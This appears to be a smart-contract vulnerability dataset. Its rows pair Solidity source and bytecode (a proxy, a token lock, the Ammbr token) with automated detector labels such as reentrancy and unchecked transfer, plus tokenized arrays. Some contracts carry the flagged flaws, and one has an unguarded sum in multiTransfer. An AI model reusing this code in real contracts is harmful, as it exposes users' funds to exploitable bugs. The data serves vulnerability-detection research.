d6000fd5b505050506040513d601f19601f820116820180604052508101906107419190611464565b600b80546001600160a01b0319166001600160a01b03928316179055600a541663f305d7194730610771816103c4565b6000806107866000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107e957600080fd5b505af11580156107fd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108229190611549565b5050600b805462ff00ff60a01b1981166201000160a01b17909155600a5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561088c57600080fd5b505af11580156108a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103c09190611527565b6001600160a01b0383166109265760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043c565b6001600160a01b0382166109875760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a4c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043c565b6001600160a01b038216610aae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043c565b60008111610b105760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043c565b600660085560036009556000546001600160a01b03848116911614801590610b4657506000546001600160a01b03838116911614155b15610cc557600b546001600160a01b038481169116148015610b8157506001600160a01b03821660009081526005602052604090205460ff16155b8015610b9b5750600a546001600160a01b03838116911614155b15610bf857610bac6009600a6116ba565b610bb7906002611765565b811115610bc357600080fd5b610bcf6009600a6116ba565b610bda906008611765565b610be3836103c4565b610bed908361163d565b1115610bf857600080fd5b600b546001600160a01b038381169116148015610c2e57506001600160a01b03831660009081526005602052604090205460ff16155b8015610c485750600a546001600160a01b03848116911614155b15610c5857600660085560036009555b6000610c63306103c4565b600b54909150600160a81b900460ff16158015610c8e5750600b546001600160a01b03858116911614155b8015610ca35750600b54600160b01b900460ff165b15610cc357610cb181610dd6565b478015610cc157610cc147610d0f565b505b505b610cd0838383610f5f565b505050565b60008184841115610cf95760405162461bcd60e51b815260040161043c9190611577565b506000610d068486611784565b95945050505050565b60405173b81e062903bc03b2bc7f11ab3fae9bd9fda5e5a490819083156108fc029084906000818181858888f19350505050158015610cd0573d6000803e3d6000fd5b6000600654821115610db95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043c565b6000610dc3610f6a565b9050610dcf8382610f8d565b9392505050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e1e57610e1e6117b1565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e7257600080fd5b505afa158015610e86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eaa9190611464565b81600181518110610ebd57610ebd6117b1565b6001600160a01b039283166020918202929092010152600a54610ee391309116846108c4565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f1c9085906000908690309042906004016115cc565b600060405180830381600087803b158015610f3657600080fd5b505af1158015610f4a573d6000803e3d6000fd5b5050600b805460ff60a81b1916905550505050565b610cd0838383610fcf565b6000806000610f7761110d565b9092509050610f868282610f8d565b9250505090565b6000610dcf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611189565b600080600080600080610fe1876111b7565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506110139087611214565b6001600160a01b03808b1660009081526003602052604080822093909355908a16815220546110429086611256565b6001600160a01b038916600090815260036020526040902055611064816112b5565b61106e84836112ff565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110b391815260200190565b60405180910390a3306001600160a01b038a167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110f18a87611214565b60405190815260200160405180910390a3505050505050505050565b6006546000908190816111226009600a6116ba565b61112e906101a4611765565b905061115461113f6009600a6116ba565b61114b906101a4611765565b60065490610f8d565b8210156111805760065461116a6009600a6116ba565b611176906101a4611765565b9350935050509091565b90939092509050565b600081836111aa5760405162461bcd60e51b815260040161043c9190611577565b506000610d068486611655565b60008060008060008060008060006111d48a600854600954611323565b92509250925060006111e4610f6a565b905060008060006111f78e878787611378565b919e509c509a509598509396509194505050505091939550919395565b6000610dcf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd5565b600080611263838561163d565b905083811015610dcf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043c565b60006112bf610f6a565b905060006112cd83836113c8565b306000908152600360205260409020549091506112ea9082611256565b30600090815260036020526040902055505050565b60065461130c9083611214565b60065560075461131c9082611256565b6007555050565b600080808061133d606461133789896113c8565b90610f8d565b9050600061135060646113378a896113c8565b90506000611368826113628b86611214565b90611214565b9992985090965090945050505050565b600080808061138788866113c8565b9050600061139588876113c8565b905060006113a388886113c8565b905060006113b5826113628686611214565b939b939a50919850919650505050505050565b6000826113d757506000610307565b60006113e38385611765565b9050826113f08583611655565b14610dcf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043c565b60006020828403121561145957600080fd5b8135610dcf816117c7565b60006020828403121561147657600080fd5b8151610dcf816117c7565b6000806040838503121561149457600080fd5b823561149f816117c7565b915060208301356114af816117c7565b809150509250929050565b6000806000606084860312156114cf57600080fd5b83356114da816117c7565b925060208401356114ea816117c7565b929592945050506040919091013590565b6000806040838503121561150e57600080fd5b8235611519816117c7565b946020939093013593505050565b60006020828403121561153957600080fd5b81518015158114610dcf57600080fd5b60008060006060848603121561155e57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156115a457858101830151858201604001528201611588565b818111156115b6576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561161c5784516001600160a01b0316835293830193918301916001016115f7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116505761165061179b565b500190565b60008261167257634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156116b25781600019048211156116985761169861179b565b808516156116a557918102915b93841c939080029061167c565b509250929050565b6000610dcf60ff8416836000826116d357506001610307565b816116e057506000610307565b81600181146116f657600281146117005761171c565b6001915050610307565b60ff8411156117115761171161179b565b50506001821b610307565b5060208310610133831016604e8410600b841016171561173f575081810a610307565b6117498383611677565b806000190482111561175d5761175d61179b565b029392505050565b600081600019048311821515161561177f5761177f61179b565b500290565b6000828210156117965761179661179b565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146117dc57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd26799e4bdca08dd2f79778c0c5155cec8c6ab8b5398bc6ad9d2f07994ceb1b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 2575, 19317, 2475, 3676, 2278, 2683, 17134, 2050, 22394, 2278, 2487, 2278, 2620, 2094, 2683, 12521, 2620, 3540, 2509, 2497, 16068, 2620, 21926, 2475, 2546, 8889, 2683, 2549, 1013, 1008, 1008, 23921, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 2176, 2102, 12449, 13874, 5051, 4037, 16770, 1024, 1013, 1013, 17442, 5051, 5051, 1012, 4012, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1021, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,432
0x96c63f93b658213ff4ce366766dc915f1c1ecccd
pragma solidity 0.8.7; // SPDX-License-Identifier: MIT /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ contract Proxy { address implementation_; address public admin; constructor(address impl) { implementation_ = impl; admin = msg.sender; } receive() external payable {} function setImplementation(address newImpl) public { require(msg.sender == admin); implementation_ = newImpl; } function implementation() public view returns (address impl) { impl = implementation_; } /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation__) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation__, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view returns (address) { return implementation_; } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _delegate(_implementation()); } }
0x6080604052600436106100385760003560e01c80635c60da1b1461005b578063d784d42614610091578063f851a440146100b15761003f565b3661003f57005b6100596100546000546001600160a01b031690565b6100d1565b005b34801561006757600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b34801561009d57600080fd5b506100596100ac36600461012e565b6100f5565b3480156100bd57600080fd5b50600154610075906001600160a01b031681565b3660008037600080366000845af43d6000803e8080156100f0573d6000f35b3d6000fd5b6001546001600160a01b0316331461010c57600080fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561014057600080fd5b81356001600160a01b038116811461015757600080fd5b939250505056fea264697066735822122008c2ae9d612aa927106d249234e793e029fde3d28a511a95e565a8941789833a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 2575, 2509, 2546, 2683, 2509, 2497, 26187, 2620, 17465, 2509, 4246, 2549, 3401, 21619, 2575, 2581, 28756, 16409, 2683, 16068, 2546, 2487, 2278, 2487, 8586, 9468, 2094, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1021, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 1008, 1030, 16475, 2023, 10061, 3206, 3640, 1037, 2991, 5963, 3853, 2008, 10284, 2035, 4455, 2000, 2178, 3206, 2478, 1996, 23408, 2213, 1008, 7899, 1036, 11849, 9289, 2140, 1036, 1012, 2057, 6523, 2000, 1996, 2117, 3206, 2004, 1996, 1035, 7375, 1035, 2369, 1996, 24540, 1010, 1998, 2009, 2038, 2000, 1008, 2022, 9675, 2011, 2058, 21930, 1996, 7484, 1063, 1035, 7375, 1065, 3853, 1012, 1008, 1008, 5678, 1010, 10656, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,433
0x96c7be83045b1e52eb9bc130572c55843532d95a
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29462400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xE59F49012E66aA6F99f5E5A7e29662e232882Bb5; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820d2039fabfe94f4507466443efa42794aff009af568d00eb0dcf38200e0f79b9b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 2581, 4783, 2620, 14142, 19961, 2497, 2487, 2063, 25746, 15878, 2683, 9818, 17134, 2692, 28311, 2475, 2278, 24087, 2620, 23777, 22275, 2475, 2094, 2683, 2629, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,434
0x96c833e43488c986676e9f6b3b8781812629bbb5
pragma solidity 0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256){ uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256){ assert(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256){ assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256){ uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { uint256 public totalSupply; function balanceOf(address who) constant public returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) constant public returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address owner; function Ownable() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner(){ require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public{ require(newOwner != address(0)); owner = newOwner; } } contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) allowed; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool){ assert(0 < _value); assert(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant public returns (uint256 balance){ return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool){ uint256 _allowance = allowed[_from][msg.sender]; assert (balances[_from] >= _value); assert (_allowance >= _value); assert (_value > 0); // assert ( balances[_to] + _value > balances[_to]); // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool){ // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant public returns (uint256 remaining){ return allowed[_owner][_spender]; } } contract Ammbr is StandardToken, Ownable { string public name = ''; string public symbol = ''; uint8 public decimals = 0; uint256 public maxMintBlock = 0; event Mint(address indexed to, uint256 amount); /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner public returns (bool){ assert(maxMintBlock == 0); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); maxMintBlock = 1; return true; } /** * @dev Function is used to perform a multi-transfer operation. This could play a significant role in the Ammbr Mesh Routing protocol. * * Mechanics: * Sends tokens from Sender to destinations[0..n] the amount tokens[0..n]. Both arrays * must have the same size, and must have a greater-than-zero length. Max array size is 127. * * IMPORTANT: ANTIPATTERN * This function performs a loop over arrays. Unless executed in a controlled environment, * it has the potential of failing due to gas running out. This is not dangerous, yet care * must be taken to prevent quality being affected. * * @param destinations An array of destinations we would be sending tokens to * @param tokens An array of tokens, sent to destinations (index is used for destination->token match) */ function multiTransfer(address[] destinations, uint[] tokens) public returns (bool success){ // Two variables must match in length, and must contain elements // Plus, a maximum of 127 transfers are supported assert(destinations.length > 0); assert(destinations.length < 128); assert(destinations.length == tokens.length); // Check total requested balance uint8 i = 0; uint totalTokensToTransfer = 0; for (i = 0; i < destinations.length; i++){ assert(tokens[i] > 0); totalTokensToTransfer += tokens[i]; } // Do we have enough tokens in hand? assert (balances[msg.sender] > totalTokensToTransfer); // We have enough tokens, execute the transfer balances[msg.sender] = balances[msg.sender].sub(totalTokensToTransfer); for (i = 0; i < destinations.length; i++){ // Add the token to the intended destination balances[destinations[i]] = balances[destinations[i]].add(tokens[i]); // Call the event... emit Transfer(msg.sender, destinations[i], tokens[i]); } return true; } function Ammbr(string _name , string _symbol , uint8 _decimals) public{ name = _name; symbol = _symbol; decimals = _decimals; } }
0x6060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd146101895780631e89d545146101ae57806323b872dd1461023d578063313ce5671461026557806340c10f191461028e57806370a08231146102b057806395d89b41146102cf5780639d96be58146102e2578063a9059cbb146102f5578063dd62ed3e14610317578063f2fde38b1461033c575b600080fd5b34156100d457600080fd5b6100dc61035d565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a03600435166024356103fb565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6104a1565b60405190815260200160405180910390f35b34156101b957600080fd5b6101756004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506104a795505050505050565b341561024857600080fd5b610175600160a060020a03600435811690602435166044356106bf565b341561027057600080fd5b610278610806565b60405160ff909116815260200160405180910390f35b341561029957600080fd5b610175600160a060020a036004351660243561080f565b34156102bb57600080fd5b61019c600160a060020a03600435166108d5565b34156102da57600080fd5b6100dc6108f0565b34156102ed57600080fd5b61019c61095b565b341561030057600080fd5b610175600160a060020a0360043516602435610961565b341561032257600080fd5b61019c600160a060020a0360043581169060243516610a4e565b341561034757600080fd5b61035b600160a060020a0360043516610a79565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103f35780601f106103c8576101008083540402835291602001916103f3565b820191906000526020600020905b8154815290600101906020018083116103d657829003601f168201915b505050505081565b600081158061042d5750600160a060020a03338116600090815260016020908152604080832093871683529290522054155b151561043857600080f